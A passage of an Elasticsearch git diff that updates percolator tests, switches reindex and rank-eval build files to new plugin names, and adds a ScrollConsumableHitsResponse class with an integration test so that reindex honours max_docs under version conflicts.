mapperService.documentMapper(); PercolatorFieldMapper fieldMapper = (PercolatorFieldMapper) documentMapper.mappers().getMapper(fieldName); - ParseContext.InternalParseContext parseContext = new ParseContext.InternalParseContext( - documentMapper.mappers(), null, null, null, null); + ParseContext.InternalParseContext parseContext = new ParseContext.InternalParseContext(documentMapper.mappers(), + mapperService.getIndexSettings(), null, null, null, null); fieldMapper.processQuery(bq.build(), parseContext); ParseContext.Document document = parseContext.doc(); @@ -247,7 +248,8 @@ public void testExtractRanges() throws Exception { .rangeQuery(15, 20, true, true, null, null, null, context); bq.add(rangeQuery2, Occur.MUST); - parseContext = new ParseContext.InternalParseContext(documentMapper.mappers(), null, null, null, null); + parseContext = new ParseContext.InternalParseContext(documentMapper.mappers(), mapperService.getIndexSettings(), + null, null, null, null); fieldMapper.processQuery(bq.build(), parseContext); document = parseContext.doc(); @@ -271,7 +273,7 @@ public void testExtractTermsAndRanges_failed() throws Exception { DocumentMapper documentMapper = mapperService.documentMapper(); PercolatorFieldMapper fieldMapper = (PercolatorFieldMapper) documentMapper.mappers().getMapper(fieldName); ParseContext.InternalParseContext parseContext = new ParseContext.InternalParseContext(documentMapper.mappers(), - null, null, null, null); + mapperService.getIndexSettings(), null, null, null, null); fieldMapper.processQuery(query, parseContext); ParseContext.Document document = parseContext.doc(); @@ -286,12 +288,12 @@ public void testExtractTermsAndRanges_partial() throws Exception { DocumentMapper documentMapper = mapperService.documentMapper(); PercolatorFieldMapper fieldMapper = (PercolatorFieldMapper) documentMapper.mappers().getMapper(fieldName); ParseContext.InternalParseContext parseContext = new ParseContext.InternalParseContext(documentMapper.mappers(), - null, null, null, null); + mapperService.getIndexSettings(), null, null, null, null); fieldMapper.processQuery(phraseQuery, parseContext); ParseContext.Document document = parseContext.doc(); PercolatorFieldMapper.PercolatorFieldType fieldType = (PercolatorFieldMapper.PercolatorFieldType) fieldMapper.fieldType(); - assertThat(document.getFields().size(), equalTo(4)); + assertThat(document.getFields().size(), equalTo(3)); assertThat(document.getFields().get(0).binaryValue().utf8ToString(), equalTo("field\u0000term")); assertThat(document.getField(fieldType.extractionResultField.name()).stringValue(), equalTo(EXTRACTION_PARTIAL)); } @@ -613,7 +615,7 @@ public void testNestedPercolatorField() throws Exception { .field("query_field", queryBuilder) .endObject().endObject()), XContentType.JSON)); - assertThat(doc.rootDoc().getFields().size(), equalTo(12)); // also includes all other meta fields + assertThat(doc.rootDoc().getFields().size(), equalTo(11)); // also includes all other meta fields IndexableField queryBuilderField = doc.rootDoc().getField("object_field.query_field.query_builder_field"); assertTrue(queryBuilderField.fieldType().omitNorms()); IndexableField extractionResultField = doc.rootDoc().getField("object_field.query_field.extraction_result"); @@ -628,7 +630,7 @@ public void testNestedPercolatorField() throws Exception { .endArray() .endObject()), XContentType.JSON)); - assertThat(doc.rootDoc().getFields().size(), equalTo(12)); // also includes all other meta fields + assertThat(doc.rootDoc().getFields().size(), equalTo(11)); // also includes all other meta fields queryBuilderAsBytes = doc.rootDoc().getField("object_field.query_field.query_builder_field").binaryValue(); assertQueryBuilder(queryBuilderAsBytes, queryBuilder); @@ -695,8 +697,8 @@ public void testEmptyName() throws Exception { String mapping = Strings.toString(XContentFactory.jsonBuilder().startObject().startObject("type1") .startObject("properties").startObject("").field("type", "percolator").endObject().endObject() .endObject().endObject()); - IllegalArgumentException e = expectThrows(IllegalArgumentException.class, - () -> mapperService.parse("type1", new CompressedXContent(mapping)) + MapperParsingException e = expectThrows(MapperParsingException.class, + () -> mapperService.parseMapping("type1", new CompressedXContent(mapping)) ); assertThat(e.getMessage(), containsString("name cannot be empty string")); } diff --git a/modules/rank-eval/build.gradle b/modules/rank-eval/build.gradle index ee33c68dc15a8..308d859931dac 100644 --- a/modules/rank-eval/build.gradle +++ b/modules/rank-eval/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -15,7 +16,7 @@ esplugin { restResources { restApi { - includeCore '_common', 'indices', 'index', 'rank_eval' + include '_common', 'indices', 'index', 'rank_eval' } } diff --git a/modules/rank-eval/src/main/java/org/elasticsearch/index/rankeval/TransportRankEvalAction.java b/modules/rank-eval/src/main/java/org/elasticsearch/index/rankeval/TransportRankEvalAction.java index 9a20b4083cde2..b0699a6bc2549 100644 --- a/modules/rank-eval/src/main/java/org/elasticsearch/index/rankeval/TransportRankEvalAction.java +++ b/modules/rank-eval/src/main/java/org/elasticsearch/index/rankeval/TransportRankEvalAction.java @@ -18,7 +18,6 @@ import org.elasticsearch.client.Client; import org.elasticsearch.common.bytes.BytesArray; import org.elasticsearch.common.inject.Inject; -import org.elasticsearch.common.io.stream.Writeable; import org.elasticsearch.common.xcontent.LoggingDeprecationHandler; import org.elasticsearch.common.xcontent.NamedXContentRegistry; import org.elasticsearch.common.xcontent.XContentParser; @@ -63,8 +62,7 @@ public class TransportRankEvalAction extends HandledTransportAction) RankEvalRequest::new); + super(RankEvalAction.NAME, transportService, actionFilters, RankEvalRequest::new); this.scriptService = scriptService; this.namedXContentRegistry = namedXContentRegistry; this.client = client; @@ -126,9 +124,8 @@ LoggingDeprecationHandler.INSTANCE, new BytesArray(resolvedRequest), XContentTyp ratedRequestsInSearch.toArray(new RatedRequest[ratedRequestsInSearch.size()]), errors)); } - class RankEvalActionListener implements ActionListener { + static class RankEvalActionListener extends ActionListener.Delegating { - private final ActionListener listener; private final RatedRequest[] specifications; private final Map errors; @@ -136,7 +133,7 @@ class RankEvalActionListener implements ActionListener { RankEvalActionListener(ActionListener listener, EvaluationMetric metric, RatedRequest[] specifications, Map errors) { - this.listener = listener; + super(listener); this.metric = metric; this.errors = errors; this.specifications = specifications; @@ -157,12 +154,7 @@ public void onResponse(MultiSearchResponse multiSearchResponse) { } responsePosition++; } - listener.onResponse(new RankEvalResponse(this.metric.combine(responseDetails.values()), responseDetails, this.errors)); - } - - @Override - public void onFailure(Exception exception) { - listener.onFailure(exception); + delegate.onResponse(new RankEvalResponse(this.metric.combine(responseDetails.values()), responseDetails, this.errors)); } } } diff --git a/modules/reindex/build.gradle b/modules/reindex/build.gradle index ee6858535beb8..0a7fbdf1a8a9d 100644 --- a/modules/reindex/build.gradle +++ b/modules/reindex/build.gradle @@ -9,8 +9,8 @@ import org.apache.tools.ant.taskdefs.condition.Os import org.elasticsearch.gradle.Architecture import org.elasticsearch.gradle.OS -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.AntFixture +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.internal.test.AntFixture apply plugin: 'elasticsearch.test-with-dependencies' apply plugin: 'elasticsearch.jdk-download' @@ -52,7 +52,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'indices', 'index', 'get', 'search', 'mget', 'count', + include '_common', 'cluster', 'nodes', 'indices', 'index', 'get', 'search', 'mget', 'count', 'update_by_query', 'delete_by_query', 'reindex_rethrottle', 'tasks', 'reindex', 'put_script' } } @@ -139,6 +139,10 @@ if (Os.isFamily(Os.FAMILY_WINDOWS)) { env 'CLASSPATH', "${-> project.configurations.oldesFixture.asPath}" // old versions of Elasticsearch need JAVA_HOME env 'JAVA_HOME', jdks.legacy.javaHomePath + // If we are running on certain arm systems we need to explicitly set the stack size to overcome JDK page size bug + if (Architecture.current() == Architecture.AARCH64) { + env 'ES_JAVA_OPTS', '-Xss512k' + } args 'oldes.OldElasticsearch', baseDir, unzip.get().temporaryDir, @@ -162,21 +166,12 @@ if (Os.isFamily(Os.FAMILY_WINDOWS)) { } tasks.named("yamlRestCompatTest").configure { - onlyIf { - // These are broken right now so mute - false - } systemProperty 'tests.rest.blacklist', [ - 'reindex/20_validation/reindex without source gives useful error message', /* type in exception message */ - 'reindex/85_scripting/Reindex all docs with one doc deletion', /*type in a request*/ - 'delete_by_query/10_basic/Limit by size', - 'delete_by_query/10_basic/Response for version conflict \\(seq no powered\\)', - 'delete_by_query/20_validation/both max_docs and size fails', - 'delete_by_query/20_validation/invalid size fails', - 'update_by_query/10_basic/Limit by size', - 'update_by_query/10_basic/Response for version conflict \\(seq no powered\\)', - 'update_by_query/20_validation/inconsistent max_docs and size fails', - 'update_by_query/20_validation/invalid size fails', + /*type related failures */ + 'reindex/20_validation/reindex without source gives useful error message', + 'reindex/85_scripting/Reindex all docs with one doc deletion', + 'delete_by_query/10_basic/Response for version conflict (seq no powered)', + 'update_by_query/10_basic/Response for version conflict (seq no powered)', 'update_by_query/20_validation/update_by_query without source gives useful error message' ].join(',') } diff --git a/modules/reindex/src/internalClusterTest/java/org/elasticsearch/index/reindex/BulkByScrollUsesAllScrollDocumentsAfterConflictsIntegTests.java b/modules/reindex/src/internalClusterTest/java/org/elasticsearch/index/reindex/BulkByScrollUsesAllScrollDocumentsAfterConflictsIntegTests.java new file mode 100644 index 0000000000000..18e58f5302f3e --- /dev/null +++ b/modules/reindex/src/internalClusterTest/java/org/elasticsearch/index/reindex/BulkByScrollUsesAllScrollDocumentsAfterConflictsIntegTests.java @@ -0,0 +1,309 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.reindex; + +import org.elasticsearch.action.ActionFuture; +import org.elasticsearch.action.bulk.BulkItemResponse; +import org.elasticsearch.action.bulk.BulkRequest; +import org.elasticsearch.action.bulk.BulkResponse; +import org.elasticsearch.action.index.IndexRequest; +import org.elasticsearch.action.index.IndexRequestBuilder; +import org.elasticsearch.action.search.SearchRequestBuilder; +import org.elasticsearch.action.search.SearchResponse; +import org.elasticsearch.cluster.metadata.IndexMetadata; +import org.elasticsearch.common.Strings; +import org.elasticsearch.common.bytes.BytesReference; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.util.CollectionUtils; +import org.elasticsearch.common.util.concurrent.EsThreadPoolExecutor; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentHelper; +import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.index.VersionType; +import org.elasticsearch.index.query.QueryBuilders; +import org.elasticsearch.plugins.Plugin; +import org.elasticsearch.script.MockScriptPlugin; +import org.elasticsearch.script.Script; +import org.elasticsearch.script.ScriptType; +import org.elasticsearch.search.SearchHit; +import org.elasticsearch.search.sort.SortOrder; +import org.elasticsearch.test.ESIntegTestCase; +import org.elasticsearch.threadpool.ThreadPool; +import org.junit.Before; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.CyclicBarrier; +import java.util.function.BiConsumer; +import java.util.function.Function; + +import static org.elasticsearch.common.lucene.uid.Versions.MATCH_DELETED; +import static org.elasticsearch.common.xcontent.XContentFactory.jsonBuilder; +import static org.elasticsearch.index.mapper.MapperService.SINGLE_MAPPING_NAME; +import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked; +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.is; +import static org.hamcrest.Matchers.lessThanOrEqualTo; + +@ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, numDataNodes = 0) +public class BulkByScrollUsesAllScrollDocumentsAfterConflictsIntegTests extends ReindexTestCase { + private static final String SCRIPT_LANG = "fake_lang"; + private static final String NOOP_GENERATOR = "modificationScript"; + private static final String RETURN_NOOP_FIELD = "return_noop"; + private static final String SORTING_FIELD = "num"; + + @Override + protected Collection> nodePlugins() { + return CollectionUtils.appendToCopy(super.nodePlugins(), CustomScriptPlugin.class); + } + + public static class CustomScriptPlugin extends MockScriptPlugin { + @Override + @SuppressWarnings("unchecked") + protected Map, Object>> pluginScripts() { + return Map.of(NOOP_GENERATOR, (vars) -> { + final Map ctx = (Map) vars.get("ctx"); + final Map source = (Map) ctx.get("_source"); + if (source.containsKey(RETURN_NOOP_FIELD)) { + ctx.put("op", "noop"); + } + return vars; + }); + } + + @Override + public String pluginScriptLang() { + return SCRIPT_LANG; + } + } + + @Before + public void setUpCluster() { + internalCluster().startMasterOnlyNode(); + // Use a single thread pool for writes so we can enforce a consistent ordering + internalCluster().startDataOnlyNode(Settings.builder().put("thread_pool.write.size", 1).build()); + } + + public void testUpdateByQuery() throws Exception { + final String indexName = randomAlphaOfLength(10).toLowerCase(Locale.ROOT); + final boolean scriptEnabled = randomBoolean(); + executeConcurrentUpdatesOnSubsetOfDocs(indexName, + indexName, + scriptEnabled, + updateByQuery(), + true, + (bulkByScrollResponse, updatedDocCount) -> { + assertThat(bulkByScrollResponse.getUpdated(), is((long) updatedDocCount)); + }); + } + + public void testReindex() throws Exception { + final String sourceIndex = randomAlphaOfLength(10).toLowerCase(Locale.ROOT); + final String targetIndex = randomAlphaOfLength(10).toLowerCase(Locale.ROOT); + createIndexWithSingleShard(targetIndex); + + final ReindexRequestBuilder reindexRequestBuilder = reindex(); + reindexRequestBuilder.destination(targetIndex); + reindexRequestBuilder.destination().setVersionType(VersionType.INTERNAL); + // Force MATCH_DELETE version so we get reindex conflicts + reindexRequestBuilder.destination().setVersion(MATCH_DELETED); + + final boolean scriptEnabled = randomBoolean(); + executeConcurrentUpdatesOnSubsetOfDocs(sourceIndex, + targetIndex, + scriptEnabled, + reindexRequestBuilder, + false, + (bulkByScrollResponse, reindexDocCount) -> { + assertThat(bulkByScrollResponse.getCreated(), is((long) reindexDocCount)); + }); + } + + public void testDeleteByQuery() throws Exception { + final String indexName = randomAlphaOfLength(10).toLowerCase(Locale.ROOT); + executeConcurrentUpdatesOnSubsetOfDocs(indexName, + indexName, + false, + deleteByQuery(), + true, + (bulkByScrollResponse, deletedDocCount) -> { + assertThat(bulkByScrollResponse.getDeleted(), is((long) deletedDocCount)); + }); + } + + , + Self extends AbstractBulkByScrollRequestBuilder> void executeConcurrentUpdatesOnSubsetOfDocs(String sourceIndex, + String targetIndex, + boolean scriptEnabled, + AbstractBulkByScrollRequestBuilder requestBuilder, + boolean useOptimisticConcurrency, + BiConsumer resultConsumer) throws Exception { + createIndexWithSingleShard(sourceIndex); + + final int numDocs = 100; + final int maxDocs = 10; + final int scrollSize = randomIntBetween(maxDocs, numDocs); + + List indexRequests = new ArrayList<>(numDocs); + int noopDocs = 0; + for (int i = numDocs; i > 0; i--) { + Map source = new HashMap<>(); + source.put(SORTING_FIELD, i); + // Force that the first maxDocs are transformed into a noop + if (scriptEnabled && noopDocs < maxDocs) { + // Add a marker on the document to signal that this + // document should return a noop in the script + source.put(RETURN_NOOP_FIELD, true); + noopDocs++; + } + indexRequests.add(client().prepareIndex(sourceIndex).setId(Integer.toString(i)).setSource(source)); + } + indexRandom(true, indexRequests); + + final ThreadPool threadPool = internalCluster().getDataNodeInstance(ThreadPool.class); + + final int writeThreads = threadPool.info(ThreadPool.Names.WRITE).getMax(); + assertThat(writeThreads, equalTo(1)); + final EsThreadPoolExecutor writeThreadPool = (EsThreadPoolExecutor) threadPool.executor(ThreadPool.Names.WRITE); + final CyclicBarrier barrier = new CyclicBarrier(writeThreads + 1); + final CountDownLatch latch = new CountDownLatch(1); + + // Block the write thread pool + writeThreadPool.submit(() -> { + try { + barrier.await(); + latch.await(); + } catch (Exception e) { + throw new AssertionError(e); + } + }); + // Ensure that the write thread blocking task is currently executing + barrier.await(); + + final SearchResponse searchResponse = client().prepareSearch(sourceIndex) + .setSize(numDocs) // Get all indexed docs + .addSort(SORTING_FIELD, SortOrder.DESC) + .execute() + .actionGet(); + + // Modify a subset of the target documents concurrently + final List originalDocs = Arrays.asList(searchResponse.getHits().getHits()); + int conflictingOps = randomIntBetween(maxDocs, numDocs); + final List docsModifiedConcurrently = randomSubsetOf(conflictingOps, originalDocs); + + BulkRequest conflictingUpdatesBulkRequest = new BulkRequest(); + for (SearchHit searchHit : docsModifiedConcurrently) { + if (scriptEnabled && searchHit.getSourceAsMap().containsKey(RETURN_NOOP_FIELD)) { + conflictingOps--; + } + conflictingUpdatesBulkRequest.add(createUpdatedIndexRequest(searchHit, targetIndex, useOptimisticConcurrency)); + } + + // The bulk request is enqueued before the update by query + final ActionFuture bulkFuture = client().bulk(conflictingUpdatesBulkRequest); + + // Ensure that the concurrent writes are enqueued before the update by query request is sent + assertBusy(() -> assertThat(writeThreadPool.getQueue().size(), equalTo(1))); + + requestBuilder.source(sourceIndex) + .maxDocs(maxDocs) + .abortOnVersionConflict(false); + + if (scriptEnabled) { + final Script script = new Script(ScriptType.INLINE, SCRIPT_LANG, NOOP_GENERATOR, Collections.emptyMap()); + ((AbstractBulkIndexByScrollRequestBuilder) requestBuilder).script(script); + } + + final SearchRequestBuilder source = requestBuilder.source(); + source.setSize(scrollSize); + source.addSort(SORTING_FIELD, SortOrder.DESC); + source.setQuery(QueryBuilders.matchAllQuery()); + final ActionFuture updateByQueryResponse = requestBuilder.execute(); + + assertBusy(() -> assertThat(writeThreadPool.getQueue().size(), equalTo(2))); + + // Allow tasks from the write thread to make progress + latch.countDown(); + + final BulkResponse bulkItemResponses = bulkFuture.actionGet(); + for (BulkItemResponse bulkItemResponse : bulkItemResponses) { + assertThat(Strings.toString(bulkItemResponses), bulkItemResponse.isFailed(), is(false)); + } + + final BulkByScrollResponse bulkByScrollResponse = updateByQueryResponse.actionGet(); + assertThat(bulkByScrollResponse.getVersionConflicts(), lessThanOrEqualTo((long) conflictingOps)); + // When scripts are enabled, the first maxDocs are a NoOp + final int candidateOps = scriptEnabled ? numDocs - maxDocs : numDocs; + int successfulOps = Math.min(candidateOps - conflictingOps, maxDocs); + assertThat(bulkByScrollResponse.getNoops(), is((long) (scriptEnabled ? maxDocs : 0))); + resultConsumer.accept(bulkByScrollResponse, successfulOps); + } + + private void createIndexWithSingleShard(String index) throws Exception { + final Settings indexSettings = Settings.builder() + .put(IndexMetadata.SETTING_NUMBER_OF_SHARDS, 1) + .put(IndexMetadata.SETTING_NUMBER_OF_REPLICAS, 0) + .build(); + final XContentBuilder mappings = jsonBuilder(); + { + mappings.startObject(); + { + mappings.startObject(SINGLE_MAPPING_NAME); + mappings.field("dynamic", "strict"); + { + mappings.startObject("properties"); + { + mappings.startObject(SORTING_FIELD); + mappings.field("type", "integer"); + mappings.endObject(); + } + { + mappings.startObject(RETURN_NOOP_FIELD); + mappings.field("type", "boolean"); + mappings.endObject(); + } + mappings.endObject(); + } + mappings.endObject(); + } + mappings.endObject(); + } + + // Use explicit mappings so we don't have to create those on demands and the task ordering + // can change to wait for mapping updates + assertAcked( + prepareCreate(index) + .setSettings(indexSettings) + .setMapping(mappings) + ); + } + + private IndexRequest createUpdatedIndexRequest(SearchHit searchHit, String targetIndex, boolean useOptimisticUpdate) { + final BytesReference sourceRef = searchHit.getSourceRef(); + final XContentType xContentType = sourceRef != null ? XContentHelper.xContentType(sourceRef) : null; + IndexRequest indexRequest = new IndexRequest(); + indexRequest.index(targetIndex); + indexRequest.id(searchHit.getId()); + indexRequest.source(sourceRef, xContentType); + if (useOptimisticUpdate) { + indexRequest.setIfSeqNo(searchHit.getSeqNo()); + indexRequest.setIfPrimaryTerm(searchHit.getPrimaryTerm()); + } else { + indexRequest.version(MATCH_DELETED); + } + return indexRequest; + } +} diff --git a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/AbstractAsyncBulkByScrollAction.java b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/AbstractAsyncBulkByScrollAction.java index d6b4bc1ebf6fa..2e56594e8b622 100644 --- a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/AbstractAsyncBulkByScrollAction.java +++ b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/AbstractAsyncBulkByScrollAction.java @@ -55,6 +55,7 @@ import java.util.Objects; import java.util.Set; import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.AtomicLong; import java.util.function.BiFunction; @@ -104,6 +105,14 @@ public abstract class AbstractAsyncBulkByScrollAction, ScrollableHitSource.Hit, RequestWrapper> scriptApplier; private int lastBatchSize; + /** + * Keeps track of the total number of bulk operations performed + * from a single scroll response. It is possible that + * multiple bulk requests are performed from a single scroll + * response, meaning that we have to take into account the total + * in order to compute a correct scroll keep alive time. + */ + private final AtomicInteger totalBatchSizeInSingleScrollResponse = new AtomicInteger(); AbstractAsyncBulkByScrollAction(BulkByScrollTask task, boolean needsSourceDocumentVersions, boolean needsSourceDocumentSeqNoAndPrimaryTerm, Logger logger, ParentTaskAssigningClient client, @@ -244,6 +253,10 @@ public void start() { } void onScrollResponse(ScrollableHitSource.AsyncResponse asyncResponse) { + onScrollResponse(new ScrollConsumableHitsResponse(asyncResponse)); + } + + void onScrollResponse(ScrollConsumableHitsResponse asyncResponse) { // lastBatchStartTime is essentially unused (see WorkerBulkByScrollTaskState.throttleWaitTime. Leaving it for now, since it seems // like a bug? onScrollResponse(System.nanoTime(), this.lastBatchSize, asyncResponse); @@ -255,9 +268,9 @@ void onScrollResponse(ScrollableHitSource.AsyncResponse asyncResponse) { * @param lastBatchSize the size of the last batch. Used to calculate the throttling delay. * @param asyncResponse the response to process from ScrollableHitSource */ - void onScrollResponse(long lastBatchStartTimeNS, int lastBatchSize, ScrollableHitSource.AsyncResponse asyncResponse) { + void onScrollResponse(long lastBatchStartTimeNS, int lastBatchSize, ScrollConsumableHitsResponse asyncResponse) { ScrollableHitSource.Response response = asyncResponse.response(); - logger.debug("[{}]: got scroll response with [{}] hits", task.getId(), response.getHits().size()); + logger.debug("[{}]: got scroll response with [{}] hits", task.getId(), asyncResponse.remainingHits()); if (task.isCancelled()) { logger.debug("[{}]: finishing early because the task was cancelled", task.getId()); finishHim(null); @@ -300,27 +313,29 @@ public void onFailure(Exception e) { * delay has been slept. Uses the generic thread pool because reindex is rare enough not to need its own thread pool and because the * thread may be blocked by the user script. */ - void prepareBulkRequest(long thisBatchStartTimeNS, ScrollableHitSource.AsyncResponse asyncResponse) { - ScrollableHitSource.Response response = asyncResponse.response(); + void prepareBulkRequest(long thisBatchStartTimeNS, ScrollConsumableHitsResponse asyncResponse) { logger.debug("[{}]: preparing bulk request", task.getId()); if (task.isCancelled()) { logger.debug("[{}]: finishing early because the task was cancelled", task.getId()); finishHim(null); return; } - if (response.getHits().isEmpty()) { + if (asyncResponse.hasRemainingHits() == false) { refreshAndFinish(emptyList(), emptyList(), false); return; } worker.countBatch(); - List hits = response.getHits(); + final List hits; + if (mainRequest.getMaxDocs() != MAX_DOCS_ALL_MATCHES) { // Truncate the hits if we have more than the request max docs - long remaining = max(0, mainRequest.getMaxDocs() - worker.getSuccessfullyProcessed()); - if (remaining < hits.size()) { - hits = hits.subList(0, (int) remaining); - } + long remainingDocsToProcess = max(0, mainRequest.getMaxDocs() - worker.getSuccessfullyProcessed()); + hits = remainingDocsToProcess < asyncResponse.remainingHits() ? asyncResponse.consumeHits((int) remainingDocsToProcess) + : asyncResponse.consumeRemainingHits(); + } else { + hits = asyncResponse.consumeRemainingHits(); } + BulkRequest request = buildBulk(hits); if (request.requests().isEmpty()) { /* @@ -417,14 +432,24 @@ void onBulkResponse(BulkResponse response, Runnable onSuccess) { } } - void notifyDone(long thisBatchStartTimeNS, ScrollableHitSource.AsyncResponse asyncResponse, int batchSize) { + void notifyDone(long thisBatchStartTimeNS, + ScrollConsumableHitsResponse asyncResponse, + int batchSize) { if (task.isCancelled()) { logger.debug("[{}]: finishing early because the task was cancelled", task.getId()); finishHim(null); return; } this.lastBatchSize = batchSize; - asyncResponse.done(worker.throttleWaitTime(thisBatchStartTimeNS, System.nanoTime(), batchSize)); + this.totalBatchSizeInSingleScrollResponse.addAndGet(batchSize); + + if (asyncResponse.hasRemainingHits() == false) { + int totalBatchSize = totalBatchSizeInSingleScrollResponse.getAndSet(0); + asyncResponse.done(worker.throttleWaitTime(thisBatchStartTimeNS, System.nanoTime(), totalBatchSize)); + } else { + onScrollResponse(asyncResponse); + } + } private void recordFailure(Failure failure, List failures) { @@ -848,4 +873,51 @@ public String toString() { return id.toLowerCase(Locale.ROOT); } } + + static class ScrollConsumableHitsResponse { + private final ScrollableHitSource.AsyncResponse asyncResponse; + private final List hits; + private int consumedOffset = 0; + + ScrollConsumableHitsResponse(ScrollableHitSource.AsyncResponse asyncResponse) { + this.asyncResponse = asyncResponse; + this.hits = asyncResponse.response().getHits(); + } + + ScrollableHitSource.Response response() { + return asyncResponse.response(); + } + + List consumeRemainingHits() { + return consumeHits(remainingHits()); + } + + List consumeHits(int numberOfHits) { + if (numberOfHits < 0) { + throw new IllegalArgumentException("Invalid number of hits to consume [" + numberOfHits + "]"); + } + + if (numberOfHits > remainingHits()) { + throw new IllegalArgumentException( + "Unable to provide [" + numberOfHits + "] hits as there are only [" + remainingHits() + "] hits available" + ); + } + + int start = consumedOffset; + consumedOffset += numberOfHits; + return hits.subList(start, consumedOffset); + } + + boolean hasRemainingHits() { + return remainingHits() > 0; + } + + int remainingHits() { + return hits.size() - consumedOffset; + } + + void done(TimeValue extraKeepAlive) { + asyncResponse.done(extraKeepAlive); + } + } } diff --git a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/AbstractBulkByQueryRestHandler.java b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/AbstractBulkByQueryRestHandler.java index 682f0f763b6a9..59e6a17711914 100644 --- a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/AbstractBulkByQueryRestHandler.java +++ b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/AbstractBulkByQueryRestHandler.java @@ -10,8 +10,10 @@ import org.elasticsearch.action.ActionType; import org.elasticsearch.action.search.SearchRequest; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.bytes.BytesReference; import org.elasticsearch.common.io.stream.NamedWriteableRegistry; +import org.elasticsearch.common.xcontent.LoggingDeprecationHandler; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.common.xcontent.XContentFactory; import org.elasticsearch.common.xcontent.XContentParser; @@ -21,6 +23,7 @@ import java.io.IOException; import java.util.Map; import java.util.function.Consumer; +import java.util.function.IntConsumer; /** * Rest handler for reindex actions that accepts a search request like Update-By-Query or Delete-By-Query @@ -41,7 +44,10 @@ protected void parseInternalRequest(Request internal, RestRequest restRequest, N SearchRequest searchRequest = internal.getSearchRequest(); try (XContentParser parser = extractRequestSpecificFields(restRequest, bodyConsumers)) { - RestSearchAction.parseSearchRequest(searchRequest, restRequest, parser, namedWriteableRegistry, size -> failOnSizeSpecified()); + IntConsumer sizeConsumer = restRequest.getRestApiVersion() == RestApiVersion.V_7 ? + size -> setMaxDocsFromSearchSize(internal, size) : + size -> failOnSizeSpecified(); + RestSearchAction.parseSearchRequest(searchRequest, restRequest, parser, namedWriteableRegistry, sizeConsumer); } searchRequest.source().size(restRequest.paramAsInt("scroll_size", searchRequest.source().size())); @@ -87,4 +93,9 @@ private XContentParser extractRequestSpecificFields(RestRequest restRequest, private static void failOnSizeSpecified() { throw new IllegalArgumentException("invalid parameter [size], use [max_docs] instead"); } + + private void setMaxDocsFromSearchSize(Request request, int size) { + LoggingDeprecationHandler.INSTANCE.logRenamedField(null, null, "size", "max_docs", true); + setMaxDocsValidateIdentical(request, size); + } } diff --git a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/BulkByScrollParallelizationHelper.java b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/BulkByScrollParallelizationHelper.java index 73a470bc1decb..f015a2ea1b5fc 100644 --- a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/BulkByScrollParallelizationHelper.java +++ b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/BulkByScrollParallelizationHelper.java @@ -57,17 +57,8 @@ static > void startSlicedAc Client client, DiscoveryNode node, Runnable workerAction) { - initTaskState(task, request, client, new ActionListener<>() { - @Override - public void onResponse(Void aVoid) { - executeSlicedAction(task, request, action, listener, client, node, workerAction); - } - - @Override - public void onFailure(Exception e) { - listener.onFailure(e); - } - }); + initTaskState(task, request, client, listener.delegateFailure( + (l, v) -> executeSlicedAction(task, request, action, l, client, node, workerAction))); } /** @@ -114,18 +105,10 @@ static > void initTaskState if (configuredSlices == AbstractBulkByScrollRequest.AUTO_SLICES) { ClusterSearchShardsRequest shardsRequest = new ClusterSearchShardsRequest(); shardsRequest.indices(request.getSearchRequest().indices()); - client.admin().cluster().searchShards(shardsRequest, new ActionListener<>() { - @Override - public void onResponse(ClusterSearchShardsResponse response) { - setWorkerCount(request, task, countSlicesBasedOnShards(response)); - listener.onResponse(null); - } - - @Override - public void onFailure(Exception e) { - listener.onFailure(e); - } - }); + client.admin().cluster().searchShards(shardsRequest, listener.delegateFailure((l, response) -> { + setWorkerCount(request, task, countSlicesBasedOnShards(response)); + l.onResponse(null); + })); } else { setWorkerCount(request, task, configuredSlices); listener.onResponse(null); diff --git a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/RestDeleteByQueryAction.java b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/RestDeleteByQueryAction.java index 4c24ed8d1912c..333bdb8204a59 100644 --- a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/RestDeleteByQueryAction.java +++ b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/RestDeleteByQueryAction.java @@ -9,8 +9,10 @@ package org.elasticsearch.index.reindex; import org.elasticsearch.client.node.NodeClient; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.io.stream.NamedWriteableRegistry; import 